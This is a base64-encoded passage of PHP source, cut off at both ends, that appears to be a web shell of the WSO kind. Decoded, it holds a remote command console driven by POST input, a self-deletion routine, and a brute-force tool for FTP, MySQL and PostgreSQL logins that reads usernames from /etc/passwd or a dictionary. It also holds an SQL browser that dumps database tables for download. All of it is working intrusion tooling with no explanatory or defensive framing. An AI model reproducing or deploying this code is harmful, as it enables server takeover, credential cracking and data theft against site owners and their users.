CiAgICB9IA0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpIA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOyANCiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTtpZihkb2N1bWVudC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7fSIgdmFsdWU9Ij4+Ij4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luOjA7IiByZWFkb25seT4nOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSk7IA0KICAgIH0gDQogICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXItdG9wOjA7d2lkdGg6MTAwJTttYXJnaW46MDsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+JzsgDQogICAgZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+JzsgDQogICAgcHJpbnRGb290ZXIoKTsgDQp9IA0KDQpmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7IA0KICAgIHVuc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOyANCiAgICBlY2hvICcnOyANCn0gDQoNCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7IA0KICAgIHByaW50SGVhZGVyKCk7IA0KICAgIGlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykgeyANCiAgICAgICAgaWYoQHVubGluayhTRUxGX1BBVEgpKSANCiAgICAgICAgICAgIGRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOyANCiAgICAgICAgZWxzZSANCiAgICAgICAgICAgIGVjaG8gJ3VubGluayBlcnJvciEnOyANCiAgICB9IA0KICAgIGVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsgDQogICAgcHJpbnRGb290ZXIoKTsgDQp9IA0KDQpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgeyANCiAgICBwcmludEhlYWRlcigpOyANCiAgICBpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsgDQogICAgICAgIGVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsgDQogICAgICAgIGlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcgKSB7IA0KICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7IA0KICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsgDQogICAgICAgICAgICAgICAgaWYoISRmcCkgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgICAgICAgICAkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwgJHBhc3MpOyANCiAgICAgICAgICAgICAgICBAZnRwX2Nsb3NlKCRmcCk7IA0KICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsgDQogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsgDQogICAgICAgICAgICAgICAgJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7IA0KICAgICAgICAgICAgICAgIEBteXNxbF9jbG9zZSgkcmVzKTsgDQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgeyANCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgeyANCiAgICAgICAgICAgICAgICAkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPScnIjsgDQogICAgICAgICAgICAgICAgJHJlcyA9IEBwZ19jb25uZWN0KCRzZXJ2ZXJbMF0uJzonLiRzZXJ2ZXJbMV0/JHNlcnZlclsxXTo1NDMyLCAkbG9naW4sICRwYXNzKTsgDQogICAgICAgICAgICAgICAgQHBnX2Nsb3NlKCRyZXMpOyANCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICAkc3VjY2VzcyA9IDA7IA0KICAgICAgICAkYXR0ZW1wdHMgPSAwOyANCiAgICAgICAgJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsgDQogICAgICAgIGlmKCRfUE9TVFsndHlwZSddID09IDEpIHsgDQogICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOyANCiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKSANCiAgICAgICAgICAgICAgICBmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7IA0KICAgICAgICAgICAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7IA0KICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsgDQogICAgICAgICAgICAgICAgICAgIGlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8YnI+JzsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgPSAiIjsgDQogICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsgLS0kaSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbGluZVswXVskaV07IA0KICAgICAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7IA0KICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7IA0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW1wKSApIA0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsgDQogICAgICAgICAgICAgICAgICAgICRsaW5lID0gdHJpbSgkbGluZSk7IA0KICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsgDQogICAgICAgICAgICAgICAgICAgIGlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIGVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iOyANCiAgICB9IA0KICAgIGVjaG8gJzxoMT5GVFAgYnJ1dGVmb3JjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nIA0KICAgICAgICAuJzx0ZD48c2VsZWN0IG5hbWU9cHJvdG8+PG9wdGlvbiB2YWx1ZT1mdHA+RlRQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1teXNxbD5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9cGdzcWw+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPicgDQogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+JyANCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhJ10pLiciPicgDQogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNldCddKS4nIj4nIA0KICAgICAgICAuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+JyANCiAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+JyANCiAgICAgICAgLic8dHI+PHRkPjxzcGFuPkJydXRlIHR5cGU8L3NwYW4+PC90ZD4nIA0KICAgICAgICAuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicgDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVja2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4nIA0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMiI+IERpY3Rpb25hcnk8L2xhYmVsPjwvdGQ+PC90cj4nIA0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicgDQogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0ia29tc2VuIj48L3RkPjwvdHI+JyANCiAgICAgICAgLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nIA0KICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicgDQogICAgICAgIC4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPic7IA0KICAgIGVjaG8gJzwvZGl2Pjxicj4nOyANCiAgICBwcmludEZvb3RlcigpOyANCn0gDQoNCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsgDQogICAgY2xhc3MgRGJDbGFzcyB7IA0KICAgICAgICB2YXIgJHR5cGU7IA0KICAgICAgICB2YXIgJGxpbms7IA0KICAgICAgICB2YXIgJHJlczsgDQogICAgICAgIGZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpICAgIHsgDQogICAgICAgICAgICAkdGhpcy0+dHlwZSA9ICR0eXBlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7IA0KICAgICAgICAgICAgICAgICAgICBpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7IA0KICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBxdWVyeSgkc3RyKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGZldGNoKCkgeyANCiAgICAgICAgICAgICRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBsaXN0RGJzKCkgeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9saXN0X2RicygkdGhpcy0+bGluayk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSIpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlICh0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZycpIG9yIHRhYmxlX25hbWUgPSAncGdfdXNlciciKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGVycm9yKCkgeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2Vycm9yKCR0aGlzLT5saW5rKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfbGFzdF9lcnJvcigkdGhpcy0+bGluayk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKSANCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQoJHN0ciwgJHRoaXMtPmxpbmspOyANCiAgICAgICAgICAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGR1bXAoJHRhYmxlKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgICRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOyANCiAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOyANCiAgICAgICAgICAgICAgICAgICAgZWNobyAkY3JlYXRlWzFdLiI7XG5cbiI7IA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7IA0KICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPSAiYCIuJGsuImAiOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsgDQogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgfTsgDQogICAgJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOyANCiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7IA0KICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7IA0KICAgICAgICAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7IA0KICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7IA0KICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7IA0KICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOyANCiAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KSANCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYpOyANCiAgICAgICAgZXhpdDsgDQogICAgfSANCiAgICBwcmludEhlYWRlcigpOyANCiAgICA/PiANCiAgICA8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4gDQogICAgPGZvcm0gbmFtZT0ic2YiIG1ldGhvZD0icG9zdCI+IA0KICAgICAgICA8dGFibGUgY2VsbHBhZGRpbmc9IjIiIGNlbGxzcGFjaW5nPSIwIj4gDQogICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgIDx0ZD5UeXBlPC90ZD4gDQogICAgICAgICAgICAgICAgPHRkPkhvc3Q8L3RkPiANCiAgICAgICAgICAgICAgICA8dGQ+TG9naW48L3RkPiANCiAgICAgICAgICAgICAgICA8dGQ+UGFzc3dvcmQ8L3RkPiANCiAgICAgICAgICAgICAgICA8dGQ+RGF0YWJhc2U8L3RkPiANCiAgICAgICAgICAgICAgICA8dGQ+PC90ZD4gDQogICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+IA0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSdxdWVyeSc+IA0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPiANCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSc8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSk7Pz4nPiANCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106Jyc/Pic+IA0KICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAg